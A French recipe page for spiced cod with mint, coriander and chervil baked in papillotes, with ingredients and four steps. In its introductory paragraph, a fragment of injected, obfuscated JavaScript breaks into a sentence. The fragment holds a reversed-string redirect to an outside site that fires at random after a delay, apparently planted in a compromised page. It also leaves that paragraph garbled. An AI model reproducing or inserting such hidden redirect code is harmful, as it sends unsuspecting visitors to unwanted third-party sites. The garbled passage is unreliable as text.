Cabillaud épicé aux herbes
2017-12-28- Thématique : Yaourtière
- Niveau : Facile
Pelez, coupez en deux les gousses d’ail, ôtez le germe. Pelez et hachez l’oignon avec l’ail. rincez les herbes, le piment, le gingembre, mixez le tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout . Prélevez le zeste de citron.
Ingrédients
- Pour 4 personnes
- 4 filets de cabillaud de 100 à 150 g chacun
- 1 bouquet de menthe
- 1 bouquet de coriandre
- 1 bouquet de cerfeuil
- 2 gousses d’ail
- 1 piment vert
- 2 oignons blancs
- 1 cuillère à café de gingembre en poudre
- 1 citron
- 2 cuillères à soupe d’huile d’olive
- Sel - Poivre du moulin
Préparation de la recette
Etape 1
Pelez, coupez en deux les gousses d’ail, ôtez le germe. Pelez et hachez l’oignon avec l'ail. rincez les herbes, le piment, le gingembre, mixez le tout.
Etape 2
Prélevez le zeste de citron. Déposez chaque pavé de cabillaud sur un grand carré de papier sulfurisé ou d’aluminium, salez, poivrez.
Etape 3
Répartissez dessus les herbes finement hachées, arrosez d’un filet d’huile d’olive, déposez Les zestes. Refermez les papillotes.
Etape 4
Préchauffez le four à 210°C thermostat 7. Enfournez et faites cuire pendant 20 minutes. Servez chaud dans les papillotes
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